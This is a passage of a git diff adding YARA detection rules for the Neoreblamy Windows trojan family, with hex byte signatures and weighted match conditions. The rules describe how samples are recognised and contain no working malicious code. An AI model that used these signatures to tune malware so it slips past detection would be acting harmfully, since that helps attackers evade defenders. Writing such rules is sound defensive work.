b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NFJ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {eb 07 8b 45 c4 40 89 45 c4 83 7d c4 ?? 7d 0d 8b 45 c4 } //2 + $a_03_1 = {6a 04 58 c1 e0 00 8b 84 05 ?? ?? ff ff 48 6a 04 59 c1 e1 00 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFK_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFK_MTB.yar index 932503d980..b2fe23cac8 100644 --- a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFK_MTB.yar +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFK_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_Neoreblamy_NFK_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 e8 40 89 45 e8 83 7d e8 04 7d 10 8b 45 e8 } //2 + $a_01_1 = {7d 7b 83 65 b8 00 eb 07 8b 45 b8 40 89 45 b8 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_Win32_Neoreblamy_NFK_MTB_2{ meta: description = "Trojan:Win32/Neoreblamy.NFK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFO_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFO_MTB.yar new file mode 100644 index 0000000000..111371caac --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NFO_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6a 04 58 6b c0 00 8b 84 05 24 fe ff ff 40 6a 04 59 6b c9 00 89 84 0d 24 fe ff ff 6a 04 58 6b c0 00 } //2 + $a_01_1 = {eb 07 8b 45 f0 48 89 45 f0 83 7d f0 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFQ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFQ_MTB.yar new file mode 100644 index 0000000000..f7a1e370e8 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Neoreblamy_NFQ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {33 c0 40 c1 e0 00 0f b6 84 05 ?? ?? ff ff 0d ef 00 00 00 33 c9 41 c1 e1 00 0f b6 8c 0d ?? ?? ff ff 81 e1 ef 00 00 00 2b c1 33 c9 41 6b c9 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFR_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFR_MTB.yar new file mode 100644 index 0000000000..2fea258a26 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NFR_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {6a 04 58 d1 e0 8b 84 05 ?? ff ff ff 6a 04 59 6b c9 00 } //1 + $a_03_1 = {eb 07 8b 45 c0 40 89 45 c0 83 7d c0 ?? 7d 10 8b 45 c0 } //2 + $a_03_2 = {6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 48 89 85 ?? ?? ff ff 6a 04 58 6b c0 00 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2+(#a_03_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFS_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFS_MTB.yar new file mode 100644 index 0000000000..572d11bb22 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NFS_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 c0 40 89 45 c0 83 7d c0 01 7d 10 8b 45 c0 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 6a 04 59 6b c9 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFT_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFT_MTB.yar new file mode 100644 index 0000000000..df9c8d01df --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NFT_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 dc 40 89 45 dc 83 7d dc 04 7d 10 8b 45 dc } //1 + $a_03_1 = {33 c0 40 6b c0 00 0f b6 84 05 ?? ?? ff ff 8d 44 00 02 39 45 b4 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFU_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFU_MTB.yar new file mode 100644 index 0000000000..97ee09f311 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NFU_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 f8 40 89 45 f8 83 7d f8 01 7d 10 8b 45 f8 } //1 + $a_03_1 = {eb 1b 6a 04 58 c1 e0 00 8b 84 05 ?? ?? ff ff 48 6a 04 59 c1 e1 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFV_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFV_MTB.yar new file mode 100644 index 0000000000..2b47a76dac --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NFV_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 98 40 89 45 98 83 7d 98 02 7d 10 8b 45 98 } //1 + $a_03_1 = {6a 04 59 d1 e1 8b 8c 0d ?? ?? ff ff 41 6a 04 5a d1 e2 } //2 + $a_01_2 = {eb 07 83 a5 28 fe ff ff 00 6a 04 58 d1 e0 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFW_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFW_MTB.yar new file mode 100644 index 0000000000..0b94b3fda2 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFW_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NFW_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 d8 40 89 45 d8 83 7d d8 01 7d 10 8b 45 d8 } //1 + $a_01_1 = {48 6a 04 59 6b c9 00 89 84 0d 30 ff ff ff 6a 04 58 6b c0 00 } //1 + $a_03_2 = {eb 1b 6a 04 58 c1 e0 00 8b 84 05 ?? ?? ff ff 48 6a 04 59 c1 e1 00 89 84 0d ?? ?? ff ff 6a 04 58 c1 e0 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFX_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFX_MTB.yar new file mode 100644 index 0000000000..7ddacc9463 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NFX_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {eb 07 83 a5 60 fe ff ff 00 6a 04 58 d1 e0 } //1 + $a_01_1 = {eb 07 8b 45 f4 40 89 45 f4 83 7d f4 04 7d 10 8b 45 f4 } //1 + $a_03_2 = {1b 6a 04 58 6b c0 03 8b 84 05 ?? ?? ff ff 40 6a 04 59 6b c9 03 89 84 0d ?? ?? ff ff 6a 04 58 6b c0 03 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFZ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFZ_MTB.yar new file mode 100644 index 0000000000..adb9aad6fb --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_NFZ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {eb 1b 6a 04 58 6b c0 00 8b 84 05 0c ff ff ff 40 6a 04 59 6b c9 00 } //1 + $a_01_1 = {eb 07 8b 45 c0 40 89 45 c0 83 7d c0 01 7d 10 } //1 + $a_03_2 = {6a 04 5a 6b d2 00 8b 94 15 ?? ?? ff ff 4a 6a 04 5e 6b f6 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIA_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIA_MTB.yar new file mode 100644 index 0000000000..2534bca73a --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIA_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {eb 07 8b 45 a4 40 89 45 a4 83 7d a4 ?? 7d 10 8b 45 a4 } //1 + $a_03_1 = {6a 04 58 6b c0 03 8b 84 05 ?? ?? ff ff 48 6a 04 59 6b c9 03 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIB_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIB_MTB.yar new file mode 100644 index 0000000000..f32f52e092 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIB_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 c4 48 89 45 c4 83 7d c4 00 } //1 + $a_03_1 = {6a 04 58 c1 e0 00 8b 84 05 ?? ?? ff ff 48 6a 04 59 c1 e1 00 89 84 0d ?? ?? ff ff 6a 04 58 c1 e0 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NID_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NID_MTB.yar new file mode 100644 index 0000000000..fac02a6446 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NID_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NID_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NID!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {eb 07 8b 45 c4 40 89 45 c4 83 7d c4 ?? 7d 10 8b 45 c4 } //1 + $a_03_1 = {eb 07 83 a5 ?? ?? ff ff 00 6a 04 58 d1 e0 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIE_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIE_MTB.yar new file mode 100644 index 0000000000..e97ccfaffa --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIE_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_Neoreblamy_NIE_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 dc 40 89 45 dc 83 7d dc 02 7d 10 8b 45 dc } //1 + $a_03_1 = {6a 04 59 6b c9 00 3b 84 0d ?? ?? ff ff 7f 0c } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} +rule Trojan_Win32_Neoreblamy_NIE_MTB_2{ + meta: + description = "Trojan:Win32/Neoreblamy.NIE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 c4 40 89 45 c4 83 7d c4 ?? 7d 10 8b 45 c4 } //1 + $a_03_1 = {eb 07 83 a5 ?? ff ff ff 00 6a 04 58 6b c0 03 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIF_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIF_MTB.yar new file mode 100644 index 0000000000..1dd5b52d71 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIF_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 e4 40 89 45 e4 83 7d e4 03 7d 10 8b 45 e4 } //1 + $a_01_1 = {6a 04 58 6b c0 00 83 bc 05 40 ff ff ff 00 74 0c } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIG_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIG_MTB.yar new file mode 100644 index 0000000000..02d60c8612 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIG_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_Neoreblamy_NIG_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {07 8b 45 dc 40 89 45 dc 83 7d dc 01 7d 10 8b 45 dc } //1 + $a_01_1 = {eb 07 8b 45 e8 48 89 45 e8 83 7d e8 00 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} +rule Trojan_Win32_Neoreblamy_NIG_MTB_2{ + meta: + description = "Trojan:Win32/Neoreblamy.NIG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 ec 40 89 45 ec 83 7d ec 02 7d 10 8b 45 ec } //1 + $a_03_1 = {6a 04 58 6b c0 00 83 bc 05 ?? ff ff ff 00 6a 04 58 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIH_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIH_MTB.yar new file mode 100644 index 0000000000..1812457b67 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIH_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 c8 40 89 45 c8 83 7d c8 01 7d 10 8b 45 c8 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 84 05 ?? ff ff ff 40 6a 04 59 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIK_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIK_MTB.yar new file mode 100644 index 0000000000..80a6b54e0e --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIK_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 ec 40 89 45 ec 83 7d ec 03 } //1 + $a_01_1 = {8b 45 f8 40 40 89 45 f8 83 7d f8 22 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIL_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIL_MTB.yar new file mode 100644 index 0000000000..69d55c0b6b --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIL_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {8b 45 f4 40 89 45 f4 83 7d f4 ?? 7d 0d 8b 45 f4 } //1 + $a_01_1 = {6a 04 58 c1 e0 00 8b 44 05 c8 40 6a 04 59 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIM_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIM_MTB.yar new file mode 100644 index 0000000000..b2dfbbcef1 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIM_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6a 02 58 d1 e0 33 c9 66 89 8c 05 } //1 + $a_01_1 = {eb 08 8b 45 f8 40 40 89 45 f8 83 7d f8 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIO_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIO_MTB.yar new file mode 100644 index 0000000000..bb2220646d --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIO_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {eb 07 8b 45 d0 40 89 45 d0 83 7d d0 ?? 7d 0d 8b 45 d0 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 44 05 f4 89 85 ?? ?? ff ff 8b 45 fc } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIP_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIP_MTB.yar new file mode 100644 index 0000000000..050080df7c --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIP_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {8b 45 d8 40 89 45 d8 83 7d d8 ?? 7d 10 8b 45 d8 } //1 + $a_03_1 = {6a 04 58 c1 e0 00 8b 84 05 ?? ?? ff ff 6a 04 59 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIQ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIQ_MTB.yar new file mode 100644 index 0000000000..84bc093811 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NIQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NIQ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NIQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {8b 45 f0 40 89 45 f0 83 7d f0 ?? 7d 10 8b 45 f0 } //1 + $a_03_1 = {6a 04 59 6b c9 00 89 84 0d ?? ?? ff ff eb d6 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJA_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJA_MTB.yar new file mode 100644 index 0000000000..4ada143fce --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJA_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {eb 07 8b 45 ec 40 89 45 ec 83 7d ec ?? 7d 10 8b 45 ec } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 84 05 ?? ff ff ff 3b 85 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJB_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJB_MTB.yar new file mode 100644 index 0000000000..fc027d6ae9 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJB_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 a8 40 89 45 a8 83 7d a8 02 7d 0d 8b 45 a8 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 44 05 b0 89 85 ?? ?? ff ff 6a 04 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJC_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJC_MTB.yar new file mode 100644 index 0000000000..ee63051078 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJC_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {eb 07 8b 45 c0 40 89 45 c0 83 7d c0 ?? 7d 10 8b 45 c0 } //1 + $a_03_1 = {6a 04 58 6b c0 00 8b 84 05 ?? ?? ff ff 89 45 d4 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJD_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJD_MTB.yar new file mode 100644 index 0000000000..2ed672edd8 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJD_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 c8 40 89 45 c8 83 7d c8 02 7d 10 8b 45 c8 } //1 + $a_03_1 = {6a 04 58 d1 e0 8b 84 05 ?? ?? ff ff 48 6a 04 59 d1 e1 89 84 0d ?? ?? ff ff 6a 04 58 d1 e0 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJE_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJE_MTB.yar new file mode 100644 index 0000000000..27fcfc7f37 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NJE_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NJE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {eb 07 8b 45 f8 40 89 45 f8 83 7d f8 02 7d 0d 8b 45 f8 } //1 + $a_01_1 = {07 8b 45 fc 40 89 45 fc 83 7d fc 04 7d 0d 8b 45 fc } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NJF_MTB.yar 